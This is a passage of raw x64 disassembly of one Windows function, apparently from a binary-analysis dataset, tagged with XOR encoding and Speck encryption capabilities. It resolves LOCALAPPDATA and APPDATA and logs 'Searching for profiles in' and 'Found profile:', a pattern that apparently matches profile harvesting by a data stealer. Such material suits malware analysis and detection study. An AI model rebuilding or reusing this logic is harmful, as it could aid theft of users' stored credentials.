Function at 0x14011b4a8
Capabilities:
Encode data using xor
Encrypt data using speck

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x5b8
movaps xmmword [rsp + 0x5a0], xmm8
movdqa xmmword [rsp + 0x590], xmm7
movdqa xmmword [rsp + 0x580], xmm6
mov r14, r8
mov rdi, rdx
mov qword [rsp + 0x3b8], rcx
lea rdx, str.LOCALAPPDATA
lea rsi, [rsp + 0x100]
mov r8d, 0xc
mov rcx, rsi
call fcn.14014ced0
cmp byte [rsi + 0x18], 3
jne 0x14012923c
mov rax, qword [rsp + 0x110]
lea rbx, [rsp + 0x1e0]
mov qword [rbx + 0x10], rax
movdqu xmm0, xmmword [rsp + 0x100]
movdqa xmmword [rbx], xmm0
lea rax, [rdi + 0x18]
lea rcx, [rsp + 0x190]
mov qword [rsp + 0x278], rax
mov qword [rcx], rax
lea rdx, [rsp + 0x340]
mov qword [rsp + 0xf0], rdi
mov qword [rdx], rdi
mov qword [rsp + 0x100], rbx
lea rax, [0x140006df0]
mov qword [rsp + 0x108], rax
mov qword [rsp + 0x110], rcx
lea rax, [0x1400a2ed3]
mov qword [rsp + 0x118], rax
mov qword [rsp + 0x120], rdx
mov qword [rsp + 0x128], rax
lea rdx, [rsp + 0x30]
mov qword [rdx], 0
lea rax, [0x14036e830]
mov qword [rdx + 0x10], rax
mov qword [rdx + 0x18], 4
mov qword [rdx + 0x20], rsi
mov qword [rdx + 0x28], 3
lea rcx, [rsp + 0x280]
call fcn.140030660
cmp qword [rbx], 0
je 0x14011b5e9
mov r8, qword [rsp + 0x1e8]
mov rcx, qword [0x1403ce198]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rbp, qword [rsp + 0x280]
mov rbx, qword [rsp + 0x288]
mov r8, qword [rsp + 0x290]
lea rsi, [rsp + 0x30]
mov rcx, rsi
mov rdx, rbx
xor r9d, r9d
call fcn.140151c10
cmp dword [rsi], 2
mov qword [rsp + 0x1d8], r14
jne 0x14011b63c
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x108], rax
mov qword [rsp + 0x100], 2
jmp 0x14011b65e
lea rax, [rsp + 0x100]
lea rsi, [rsp + 0x30]
mov ecx, 9
mov rdi, rax
rep movsq qword [rdi], qword [rsi]
cmp qword [rax], 2
jne 0x14011ba62
lea rcx, [rsp + 0x108]
call fcn.14006467d
test rbp, rbp
je 0x14011b682
mov rcx, qword [0x1403ce198]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
lea rdx, str.APPDATA
lea rsi, [rsp + 0x100]
mov r8d, 7
mov rcx, rsi
call fcn.14014ced0
cmp byte [rsi + 0x18], 3
jne 0x140129267
mov rax, qword [rsp + 0x110]
mov qword [rsp + 0x1f0], rax
movdqu xmm0, xmmword [rsp + 0x100]
movdqa xmmword [rsp + 0x1e0], xmm0
mov rax, qword [rsp + 0x278]
mov qword [rsp + 0x190], rax
mov rax, qword [rsp + 0xf0]
mov qword [rsp + 0x340], rax
lea rax, [rsp + 0x1e0]
mov qword [rsp + 0x100], rax
lea rax, [0x140006df0]
mov qword [rsp + 0x108], rax
lea rax, [rsp + 0x190]
mov qword [rsp + 0x110], rax
lea rax, [0x1400a2ed3]
mov qword [rsp + 0x118], rax
lea rcx, [rsp + 0x340]
mov qword [rsp + 0x120], rcx
mov qword [rsp + 0x128], rax
lea rdx, [rsp + 0x30]
mov qword [rdx], 0
lea rax, [0x14036e830]
mov qword [rdx + 0x10], rax
mov qword [rdx + 0x18], 4
mov qword [rdx + 0x20], rsi
mov qword [rdx + 0x28], 3
lea r14, [rsp + 0x280]
mov rcx, r14
call fcn.140030660
cmp qword [rsp + 0x1e0], 0
je 0x14011b79e
mov r8, qword [rsp + 0x1e8]
mov rcx, qword [0x1403ce198]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rbp, qword [rsp + 0x280]
mov rbx, qword [rsp + 0x288]
mov r8, qword [rsp + 0x290]
lea r15, [rsp + 0x30]
mov rcx, r15
mov rdx, rbx
xor r9d, r9d
call fcn.140151c10
cmp dword [r15], 2
jne 0x14011b7ea
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x108], rax
mov qword [rsp + 0x100], 2
jmp 0x14011b80c
lea rax, [rsp + 0x100]
lea rsi, [rsp + 0x30]
mov ecx, 9
mov rdi, rax
rep movsq qword [rdi], qword [rsi]
cmp qword [rax], 2
jne 0x14011e87e
lea rcx, [rsp + 0x108]
call fcn.14006467d
test rbp, rbp
je 0x14011b830
mov rcx, qword [0x1403ce198]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
lea rdx, str.LOCALAPPDATA
lea rsi, [rsp + 0x100]
mov r8d, 0xc
mov rcx, rsi
call fcn.14014ced0
cmp byte [rsi + 0x18], 3
jne 0x140129307
lea rcx, [rsp + 0x100]
mov rax, qword [rcx + 0x10]
mov qword [rsp + 0x1f0], rax
movups xmm0, xmmword [rcx]
movaps xmmword [rsp + 0x1e0], xmm0
mov rax, qword [rsp + 0x278]
mov qword [rsp + 0x340], rax
mov rax, qword [rsp + 0xf0]
mov qword [rsp + 0x280], rax
lea rax, [rsp + 0x1e0]
mov qword [rsp + 0x30], rax
lea rax, [0x140006df0]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x340]
mov qword [rsp + 0x40], rax
lea rax, [0x1400a2ed3]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], r14
mov qword [rsp + 0x58], rax
lea rdi, [0x14036ec28]
mov qword [rcx + 0x10], rdi
mov qword [rcx + 0x18], 4
mov qword [rcx], 0
mov qword [rcx + 0x20], r15
mov qword [rcx + 0x28], 3
call fcn.140153c30
cmp qword [rsp + 0x1e0], 0
je 0x14011b91f
mov r8, qword [rsp + 0x1e8]
mov rcx, qword [0x1403ce198]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
lea rdx, str.APPDATA
lea rsi, [rsp + 0x100]
mov r8d, 7
mov rcx, rsi
call fcn.14014ced0
cmp byte [rsi + 0x18], 3
jne 0x140129335
lea rcx, [rsp + 0x100]
mov rax, qword [rcx + 0x10]
mov qword [rsp + 0x1f0], rax
movdqu xmm0, xmmword [rcx]
movdqa xmmword [rsp + 0x1e0], xmm0
mov rax, qword [rsp + 0x278]
mov qword [rsp + 0x340], rax
mov rax, qword [rsp + 0xf0]
mov qword [rsp + 0x280], rax
lea rax, [rsp + 0x1e0]
mov qword [rsp + 0x30], rax
lea rax, [0x140006df0]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x340]
mov qword [rsp + 0x40], rax
lea rax, [0x1400a2ed3]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], r14
mov qword [rsp + 0x58], rax
mov qword [rcx + 0x10], rdi
mov qword [rcx + 0x18], 4
mov qword [rcx], 0
mov qword [rcx + 0x20], r15
mov qword [rcx + 0x28], 3
call fcn.140153c30
cmp qword [rsp + 0x1e0], 0
je 0x14011ba09
mov r8, qword [rsp + 0x1e8]
mov rcx, qword [0x1403ce198]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsp + 0x3b8]
mov byte [rax], 0x13
mov r14, qword [rsp + 0x1d8]
cmp qword [r14], 0
je 0x14011ba35
mov r8, qword [r14 + 8]
mov rcx, qword [0x1403ce198]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
movaps xmm6, xmmword [rsp + 0x580]
movaps xmm7, xmmword [rsp + 0x590]
movaps xmm8, xmmword [rsp + 0x5a0]
add rsp, 0x5b8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
test rbp, rbp
je 0x14011ba79
mov rcx, qword [0x1403ce198]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
mov qword [rsp + 0x1e0], r14
lea rax, [0x140006df0]
mov qword [rsp + 0x1e8], rax
lea rdx, [rsp + 0x30]
mov qword [rdx], 0
lea rax, [0x14036eca8]
mov qword [rdx + 0x10], rax
mov qword [rdx + 0x18], 2
lea rax, [rsp + 0x1e0]
mov qword [rdx + 0x20], rax
mov qword [rdx + 0x28], 1
lea rdi, [rsp + 0x100]
mov rcx, rdi
call fcn.140030660
mov rbx, qword [rdi]
mov rsi, qword [rdi + 8]
mov r8, qword [rdi + 0x10]
mov cl, 1
mov rdx, rsi
call fcn.140150be0
test rax, rax
jne 0x140129363
test rbx, rbx
je 0x14011bb08
mov rcx, qword [0x1403ce198]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
mov qword [rsp + 0x1e0], r14
lea rax, [0x140006df0]
mov qword [rsp + 0x1e8], rax
lea rdx, [rsp + 0x30]
mov qword [rdx], 0
lea rax, [0x14036ecf0]
mov qword [rdx + 0x10], rax
mov qword [rdx + 0x18], 2
lea rax, [rsp + 0x1e0]
mov qword [rdx + 0x20], rax
mov qword [rdx + 0x28], 1
lea rdi, [rsp + 0x100]
mov rcx, rdi
call fcn.140030660
mov rbx, qword [rdi]
mov rsi, qword [rdi + 8]
mov r8, qword [rdi + 0x10]
mov cl, 1
mov rdx, rsi
call fcn.140150be0
test rax, rax
jne 0x140129377
test rbx, rbx
je 0x14011bb97
mov rcx, qword [0x1403ce198]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
mov qword [rsp + 0x1e0], r14
lea rax, [0x140006df0]
mov qword [rsp + 0x1e8], rax
lea rdx, [rsp + 0x30]
mov qword [rdx], 0
lea rax, [0x14036ed38]
mov qword [rdx + 0x10], rax
mov qword [rdx + 0x18], 2
lea rax, [rsp + 0x1e0]
mov qword [rdx + 0x20], rax
mov qword [rdx + 0x28], 1
lea rdi, [rsp + 0x100]
mov rcx, rdi
call fcn.140030660
mov rbx, qword [rdi]
mov rsi, qword [rdi + 8]
mov r8, qword [rdi + 0x10]
mov cl, 1
mov rdx, rsi
call fcn.140150be0
test rax, rax
jne 0x14012938b
test rbx, rbx
je 0x14011bc26
mov rcx, qword [0x1403ce198]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
mov qword [rsp + 0x1e0], r14
lea rax, [0x140006df0]
mov qword [rsp + 0x1e8], rax
lea rdx, [rsp + 0x30]
mov qword [rdx], 0
lea rax, [0x14036ed80]
mov qword [rdx + 0x10], rax
mov qword [rdx + 0x18], 2
lea rax, [rsp + 0x1e0]
mov qword [rdx + 0x20], rax
mov qword [rdx + 0x28], 1
lea rdi, [rsp + 0x100]
mov rcx, rdi
call fcn.140030660
mov rbx, qword [rdi]
mov rsi, qword [rdi + 8]
mov r8, qword [rdi + 0x10]
mov cl, 1
mov rdx, rsi
call fcn.140150be0
test rax, rax
jne 0x14012939f
test rbx, rbx
je 0x14011bcb5
mov rcx, qword [0x1403ce198]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x1403c8048]
mov rdx, qword [0x1403c8050]
call fcn.140026fa9
cmp qword [0x1403c8040], 0
je 0x14011bce8
mov r8, qword [0x1403c8048]
mov rcx, qword [0x1403ce198]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
xor eax, eax
mov qword [0x1403c8040], rax
mov qword [0x1403c8048], 8
mov qword [0x1403c8050], rax
lea rdx, str.LOCALAPPDATA
lea rbx, [rsp + 0x100]
mov r8d, 0xc
mov rcx, rbx
call fcn.14014ced0
cmp byte [rbx + 0x18], 3
jne 0x1401293b3
mov rax, qword [rsp + 0x110]
mov qword [rsp + 0x1f0], rax
movups xmm0, xmmword [rsp + 0x100]
movaps xmmword [rsp + 0x1e0], xmm0
mov rax, qword [rsp + 0x278]
mov qword [rsp + 0x190], rax
mov rax, qword [rsp + 0xf0]
mov qword [rsp + 0x340], rax
lea rax, [rsp + 0x1e0]
mov qword [rsp + 0x100], rax
lea rax, [0x140006df0]
mov qword [rsp + 0x108], rax
lea rax, [rsp + 0x190]
mov qword [rsp + 0x110], rax
lea rax, [0x1400a2ed3]
mov qword [rsp + 0x118], rax
lea rcx, [rsp + 0x340]
mov qword [rsp + 0x120], rcx
mov qword [rsp + 0x128], rax
lea rdx, [rsp + 0x30]
mov qword [rdx], 0
lea rax, [0x14036e830]
mov qword [rdx + 0x10], rax
mov qword [rdx + 0x18], 4
mov qword [rdx + 0x20], rbx
mov qword [rdx + 0x28], 3
lea rcx, [rsp + 0x280]
call fcn.140030660
cmp qword [rsp + 0x1e0], 0
je 0x14011be1a
mov r8, qword [rsp + 0x1e8]
mov rcx, qword [0x1403ce198]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
lea r14, [rsp + 0x280]
movups xmm0, xmmword [r14]
lea rdi, [rsp + 0x540]
movaps xmmword [rdi], xmm0
mov rax, qword [r14 + 0x10]
mov qword [rdi + 0x10], rax
lea rsi, [rsp + 0x100]
mov qword [rsi], rdi
lea rax, [0x140006df0]
mov qword [rsi + 8], rax
lea rax, str.Searching_for_profiles_in
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x10], rax
mov qword [rbp + 0x18], 2
xor r12d, r12d
mov qword [rbp], r12
mov qword [rbp + 0x20], rbx
mov qword [rbp + 0x28], 1
mov rcx, rbp
call fcn.140153c30
mov rax, qword [rdi + 0x10]
mov qword [rsi + 0x10], rax
movaps xmm0, xmmword [rdi]
movaps xmmword [rsi], xmm0
lea r15, [rsp + 0x30]
mov rcx, r15
mov rdx, rsi
call fcn.140112743
mov rax, qword [r15 + 0x38]
cmp rax, 5
mov ecx, 4
cmovae rcx, rax
mov qword [r15 + 0x40], rcx
lea rax, [rsp + 0x100]
mov ecx, 0xa
mov rdi, rax
mov rsi, r15
rep movsq qword [rdi], qword [rsi]
movdqu xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
movups xmm2, xmmword [rax + 0x20]
movups xmm3, xmmword [rax + 0x30]
movaps xmmword [r14 + 0x20], xmm2
movaps xmmword [r14 + 0x30], xmm3
movups xmm2, xmmword [rax + 0x40]
movaps xmmword [r14 + 0x40], xmm2
movdqa xmmword [r14], xmm0
movaps xmmword [r14 + 0x10], xmm1
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x2f8], xmm0
lea rax, [rsp + 0x30]
mov ecx, 0xa
mov rdi, rax
mov rsi, r14
rep movsq qword [rdi], qword [rsi]
mov qword [rax + 0x50], r12
movdqu xmm1, xmmword [rsp + 0x2f0]
movdqu xmmword [rax + 0x58], xmm1
mov rcx, qword [rsp + 0x300]
mov qword [rax + 0x68], rcx
mov qword [rax + 0x70], r12
mov ecx, 8
mov qword [rax + 0x78], rcx
movdqu xmmword [rax + 0x80], xmm0
mov qword [rax + 0x90], rcx
movdqu xmmword [rax + 0x98], xmm0
mov qword [rax + 0xa8], rcx
mov qword [rax + 0xb0], r12
lea rax, [rsp + 0x1e0]
add rcx, rax
mov qword [rsp + 0x268], rcx
mov rcx, rbx
mov rdx, rbp
call fcn.14017b3d2
mov rax, qword [rsp + 0x130]
cmp rax, 2
je 0x14011c13a
cmp eax, 3
je 0x14011cf2e
mov rax, qword [rsp + 0x100]
mov qword [rsp + 0x188], rax
mov rbp, qword [rsp + 0x108]
mov r12, qword [rsp + 0x110]
mov qword [rsp + 0x340], rbp
mov qword [rsp + 0x348], r12
lea rax, [rsp + 0x340]
mov qword [rsp + 0x190], rax
lea rax, [0x140156ba0]
mov qword [rsp + 0x198], rax
lea r13, [rsp + 0x1e0]
xor r14d, r14d
mov qword [rsp + 0x100], r14
lea rax, [0x14036ee20]
mov qword [rsp + 0x110], rax
mov eax, 2
mov qword [rsp + 0x118], rax
lea rdi, [rsp + 0x190]
mov qword [rsp + 0x120], rdi
mov r15d, 1
mov qword [rsp + 0x128], r15
mov rcx, r13
mov rdx, rbx
call fcn.140030660
mov rax, qword [rsp + 0x1e0]
mov qword [rsp + 0x1d0], rax
mov rax, qword [rsp + 0x1e8]
mov rsi, qword [rsp + 0x1f0]
mov qword [rsp + 0xf8], rbp
mov qword [rsp + 0x340], rbp
mov qword [rsp + 0x1c8], r12
mov qword [rsp + 0x348], r12
lea rcx, [rsp + 0x340]
mov qword [rsp + 0x190], rcx
lea rcx, [0x140156ba0]
mov qword [rsp + 0x198], rcx
mov qword [rsp + 0x100], r14
mov r14, rax
lea rax, [0x14036ee50]
mov qword [rsp + 0x110], rax
mov eax, 2
mov qword [rsp + 0x118], rax
mov qword [rsp + 0x120], rdi
mov qword [rsp + 0x128], r15
mov rcx, r13
mov rdx, rbx
call fcn.140030660
mov r12, qword [rsp + 0x1e0]
mov r15, qword [rsp + 0x1e8]
mov rbp, qword [rsp + 0x1f0]
mov rcx, rbx
mov rdx, r14
mov r8, rsi
xor r9d, r9d
call fcn.140151c10
cmp dword [rsp + 0x100], 2
jne 0x14011c162
mov rax, qword [rsp + 0x108]
mov qword [rsp + 0x1e8], rax
mov qword [rsp + 0x1e0], 2
jmp 0x14011c1b9
mov ecx, 9
lea rax, [rsp + 0x1e0]
mov rdi, rax
lea rsi, [rsp + 0x138]
rep movsq qword [rdi], qword [rsi]
mov rcx, rax
call fcn.140004c54
jmp 0x14011bf7b
mov ecx, 9
lea rdi, [rsp + 0x1e0]
mov rsi, rbx
rep movsq qword [rdi], qword [rsi]
cmp qword [rsp + 0x1e0], 2
je 0x14011c1b9
mov rcx, rbx
mov rdx, r15
mov r8, rbp
xor r9d, r9d
call fcn.140151c10
cmp dword [rsp + 0x100], 2
je 0x14011c11c
mov ecx, 9
lea rdi, [rsp + 0x1e0]
mov rsi, rbx
rep movsq qword [rdi], qword [rsi]
cmp qword [rsp + 0x1e0], 2
jne 0x14011c22a
mov rcx, qword [rsp + 0x268]
call fcn.14006467d
test r12, r12
je 0x14011c1dd
mov rcx, qword [0x1403ce198]
xor edx, edx
mov r8, r15
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsp + 0x1d0], 0
lea rbp, [rsp + 0x30]
je 0x14011c1ff
mov rcx, qword [0x1403ce198]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsp + 0x188], 0
je 0x14011bf7b
mov rcx, qword [0x1403ce198]
xor edx, edx
mov r8, qword [rsp + 0xf8]
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x14011bf7b
mov rax, qword [0x1403c8048]
mov qword [rsp + 0x1c0], rax
mov rax, qword [0x1403c8050]
mov qword [rsp + 0x270], rax
mov rcx, rbx
mov rdx, qword [rsp + 0xf8]
mov r8, qword [rsp + 0x1c8]
call fcn.1401627b0
cmp qword [rsp + 0x100], 0
mov r13, qword [rsp + 0x110]
mov rsi, qword [rsp + 0x108]
cmovne rsi, r13
cmovne r13, qword [rsp + 0x118]
mov rcx, r13
call fcn.140047b2b
mov rbp, rax
mov rdi, rdx
mov rcx, rdx
mov rdx, rsi
mov r8, r13
call sub.VCRUNTIME140.dll_memcpy
mov rcx, rdi
mov rdx, r13
mov r8, qword [rsp + 0x1c0]
mov r9, qword [rsp + 0x270]
call fcn.1400062dc
mov esi, eax
test rbp, rbp
je 0x14011c2d6
mov rcx, qword [0x1403ce198]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsp + 0x100], 0
je 0x14011c303
cmp qword [rsp + 0x108], 0
je 0x14011c303
mov r8, qword [rsp + 0x110]
mov rcx, qword [0x1403ce198]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
test sil, sil
jne 0x14011c1c6
mov rcx, rbx
mov rdx, qword [rsp + 0xf8]
mov r8, qword [rsp + 0x1c8]
call fcn.1401627b0
cmp qword [rsp + 0x100], 0
mov rsi, qword [rsp + 0x110]
mov rdi, qword [rsp + 0x108]
cmovne rdi, rsi
cmovne rsi, qword [rsp + 0x118]
mov rcx, rsi
call fcn.140047b2b
mov r13, rax
mov rbp, rdx
mov rcx, rdx
mov rdx, rdi
mov r8, rsi
call sub.VCRUNTIME140.dll_memcpy
cmp qword [rsp + 0x100], 0
je 0x14011c393
cmp qword [rsp + 0x108], 0
je 0x14011c393
mov r8, qword [rsp + 0x110]
mov rcx, qword [0x1403ce198]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, rbp
mov rdx, rsi
call fcn.140156590
test rax, rax
je 0x140129442
mov qword [rsp + 0x3c8], r13
mov qword [rsp + 0x270], rbp
mov rcx, rax
call fcn.140167460
test rax, rax
je 0x140129455
mov qword [rsp + 0x3f8], rax
mov qword [rsp + 0x400], rdx
lea rax, [rsp + 0x3f8]
mov qword [rsp + 0x340], rax
lea rax, [rsp + 0x340]
mov qword [rsp + 0x1e0], rax
lea rax, [0x14003c210]
mov qword [rsp + 0x1e8], rax
lea rax, str.Found_profile:
mov qword [rsp + 0x110], rax
mov qword [rsp + 0x118], 2
mov qword [rsp + 0x100], 0
lea rax, [rsp + 0x1e0]
mov qword [rsp + 0x120], rax
mov qword [rsp + 0x128], 1
mov rcx, rbx
call fcn.140153c30
mov rcx, rbx
mov rdx, qword [rsp + 0xf8]
mov r8, qword [rsp + 0x1c8]
call fcn.1401627b0
cmp qword [rsp + 0x100], 0
mov rsi, qword [rsp + 0x110]
mov rbp, qword [rsp + 0x108]
cmovne rbp, rsi
cmovne rsi, qword [rsp + 0x118]
mov rcx, rsi
call fcn.140047b2b
mov r13, rax
mov rdi, rdx
mov rcx, rdx
mov rdx, rbp
mov r8, rsi
call sub.VCRUNTIME140.dll_memcpy
mov rdx, qword [0x1403c8050]
cmp rdx, qword [0x1403c8040]
jne 0x14011c4cf
lea rcx, [0x1403c8040]
call fcn.14007e5bc
mov rdx, qword [0x1403c8050]
mov rax, qword [0x1403c8048]
lea rcx, [rdx + rdx*2]
mov qword [rax + rcx*8], r13
mov qword [rax + rcx*8 + 8], rdi
mov qword [rax + rcx*8 + 0x10], rsi
inc qword [0x1403c8050]
cmp qword [rsp + 0x100], 0
je 0x14011c51c
cmp qword [rsp + 0x108], 0
je 0x14011c51c
mov r8, qword [rsp + 0x110]
mov rcx, qword [0x1403ce198]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
lea rcx, [rsp + 0x340]
mov rdx, qword [rsp + 0xf8]
mov r8, qword [rsp + 0x1c8]
call fcn.1401627b0
cmp qword [rsp + 0x340], 0
mov rsi, qword [rsp + 0x350]
mov rdi, qword [rsp + 0x348]
cmovne rdi, rsi
cmovne rsi, qword [rsp + 0x358]
mov rcx, rsi
call fcn.140047b2b
mov qword [rsp + 0x1c0], rax
mov r13, rdx
mov rcx, rdx
mov rdx, rdi
mov r8, rsi
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rsp + 0x310]
mov rdx, r13
mov r8, rsi
call fcn.140031440
mov rdx, qword [rsp + 0x318]
mov rsi, qword [rsp + 0x320]
mov qword [rsp + 0x20], 1
lea rcx, [rsp + 0x1f0]
mov qword [rsp + 0x338], rdx
mov r8, rsi
lea r9, [0x140375948]
call fcn.14003ed00
mov qword [rsp + 0x1e0], 0
mov qword [rsp + 0x1e8], rsi
mov word [rsp + 0x258], 1
mov ecx, 0x10
mov rdi, rbx
lea rsi, [rsp + 0x1e0]
rep movsq qword [rdi], qword [rsi]
cmp byte [rsp + 0x179], 0
jne 0x140129295
xor ebp, ebp
mov rdi, qword [rsp + 0x110]
lea rcx, [rsp + 0x190]
lea rdx, [rsp + 0x110]
call fcn.14000b399
cmp qword [rsp + 0x190], 0
je 0x14011c66c
mov rsi, qword [rsp + 0x198]
mov rax, qword [rsp + 0x1a0]
mov rcx, qword [rsp + 0x100]
add rdi, rcx
sub rsi, rcx
mov qword [rsp + 0x100], rax
cmp byte [rsp + 0x179], 0
mov rbp, rdi
je 0x14011c60c
mov rbp, rdi
jmp 0x14011c6a6
cmp byte [rsp + 0x179], 0
jne 0x14011c69d
cmp byte [rsp + 0x178], 0
mov rdi, qword [rsp + 0x100]
mov rax, qword [rsp + 0x108]
jne 0x14011cef5
cmp rax, rdi
jne 0x14011cef5
test rbp, rbp
je 0x140129295
mov qword [rsp + 0x3d0], rbp
mov qword [rsp + 0x3d8], rsi
mov rax, qword [rsp + 0x1d8]
mov qword [rsp + 0x1e0], rax
lea rcx, [0x140006df0]
mov qword [rsp + 0x1e8], rcx
mov rax, qword [rsp + 0x278]
mov qword [rsp + 0x1f0], rax
mov qword [rsp + 0x1f8], rcx
lea rax, [rsp + 0x3d0]
mov qword [rsp + 0x200], rax
lea rax, [0x140037710]
mov qword [rsp + 0x208], rax
mov qword [rsp + 0x100], 0
lea rax, [0x14036eed0]
mov qword [rsp + 0x110], rax
mov ecx, 3
mov qword [rsp + 0x118], rcx
lea rax, [rsp + 0x1e0]
mov qword [rsp + 0x120], rax
mov qword [rsp + 0x128], rcx
lea rcx, [rsp + 0x190]
mov rdx, rbx
call fcn.140030660
cmp qword [rsp + 0x310], 0
je 0x14011c77e
mov rcx, qword [0x1403ce198]
xor edx, edx
mov r8, qword [rsp + 0x338]
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsp + 0x1c0], 0
je 0x14011c79b
mov rcx, qword [0x1403ce198]
xor edx, edx
mov r8, r13
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsp + 0x340], 0
je 0x14011c7c8
cmp qword [rsp + 0x348], 0
je 0x14011c7c8
mov r8, qword [rsp + 0x350]
mov rcx, qword [0x1403ce198]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rbp, qword [rsp + 0x190]
mov rsi, qword [rsp + 0x198]
mov r8, qword [rsp + 0x1a0]
mov rcx, rbx
mov rdx, rsi
call fcn.140030a50
mov rdi, qword [rsp + 0x108]
mov r8, qword [rsp + 0x110]
mov cl, 1
mov rdx, rdi
call fcn.140150be0
mov qword [rsp + 0x1e0], rax
test rax, rax
lea rcx, [rsp + 0x1e0]
je 0x14011c81f
call fcn.14006467d
cmp qword [rsp + 0x100], 0
je 0x14011c83c
mov rcx, qword [0x1403ce198]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
test rbp, rbp
je 0x14011c853
mov rcx, qword [0x1403ce198]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
lea rcx, [rsp + 0x340]
mov rdx, qword [rsp + 0xf8]
mov r8, qword [rsp + 0x1c8]
call fcn.1401627b0
cmp qword [rsp + 0x340], 0
mov rsi, qword [rsp + 0x350]
mov rdi, qword [rsp + 0x348]
cmovne rdi, rsi
cmovne rsi, qword [rsp + 0x358]
mov rcx, rsi
call fcn.140047b2b
mov qword [rsp + 0x1c0], rax
mov r13, rdx
mov rcx, rdx
mov rdx, rdi
mov r8, rsi
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rsp + 0x310]
mov rdx, r13
mov r8, rsi
call fcn.140031440
mov rdx, qword [rsp + 0x318]
mov rsi, qword [rsp + 0x320]
mov qword [rsp + 0x20], 1
lea rcx, [rsp + 0x1f0]
mov qword [rsp + 0x338], rdx
mov r8, rsi
lea r9, [0x140375948]
call fcn.14003ed00
mov qword [rsp + 0x1e0], 0
mov qword [rsp + 0x1e8], rsi
mov word [rsp + 0x258], 1
mov ecx, 0x10
mov rdi, rbx
lea rsi, [rsp + 0x1e0]
rep movsq qword [rdi], qword [rsi]
cmp byte [rsp + 0x179], 0
jne 0x1401292a8
xor ebp, ebp
mov rdi, qword [rsp + 0x110]
lea rcx, [rsp + 0x190]
lea rdx, [rsp + 0x110]
call fcn.14000b399
cmp qword [rsp + 0x190], 0
je 0x14011c9a3
mov rsi, qword [rsp + 0x198]
mov rax, qword [rsp + 0x1a0]
mov rcx, qword [rsp + 0x100]
add rdi, rcx
sub rsi, rcx
mov qword [rsp + 0x100], rax
cmp byte [rsp + 0x179], 0
mov rbp, rdi
je 0x14011c943
mov rbp, rdi
jmp 0x14011c9dd
cmp byte [rsp + 0x179], 0
jne 0x14011c9d4
cmp byte [rsp + 0x178], 0
mov rdi, qword [rsp + 0x100]
mov rax, qword [rsp + 0x108]
jne 0x14011cf08
cmp rax, rdi
jne 0x14011cf08
test rbp, rbp
je 0x1401292a8
mov qword [rsp + 0x3d0], rbp
mov qword [rsp + 0x3d8], rsi
mov rax, qword [rsp + 0x1d8]
mov qword [rsp + 0x1e0], rax
lea rcx, [0x140006df0]
mov qword [rsp + 0x1e8], rcx
mov rax, qword [rsp + 0x278]
mov qword [rsp + 0x1f0], rax
mov qword [rsp + 0x1f8], rcx
lea rax, [rsp + 0x3d0]
mov qword [rsp + 0x200], rax
lea rax, [0x140037710]
mov qword [rsp + 0x208], rax
mov qword [rsp + 0x100], 0
lea rax, [0x14036ef18]
mov qword [rsp + 0x110], rax
mov ecx, 3
mov qword [rsp + 0x118], rcx
lea rax, [rsp + 0x1e0]
mov qword [rsp + 0x120], rax
mov qword [rsp + 0x128], rcx
lea rcx, [rsp + 0x190]
mov rdx, rbx
call fcn.140030660
cmp qword [rsp + 0x310], 0
je 0x14011cab5
mov rcx, qword [0x1403ce198]
xor edx, edx
mov r8, qword [rsp + 0x338]
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsp + 0x1c0], 0
je 0x14011cad2
mov rcx, qword [0x1403ce198]
xor edx, edx
mov r8, r13
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsp + 0x340], 0
je 0x14011caff
cmp qword [rsp + 0x348], 0
je 0x14011caff
mov r8, qword [rsp + 0x350]
mov rcx, qword [0x1403ce198]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rbp, qword [rsp + 0x190]
mov rsi, qword [rsp + 0x198]
mov r8, qword [rsp + 0x1a0]
mov rcx, rbx
mov rdx, rsi
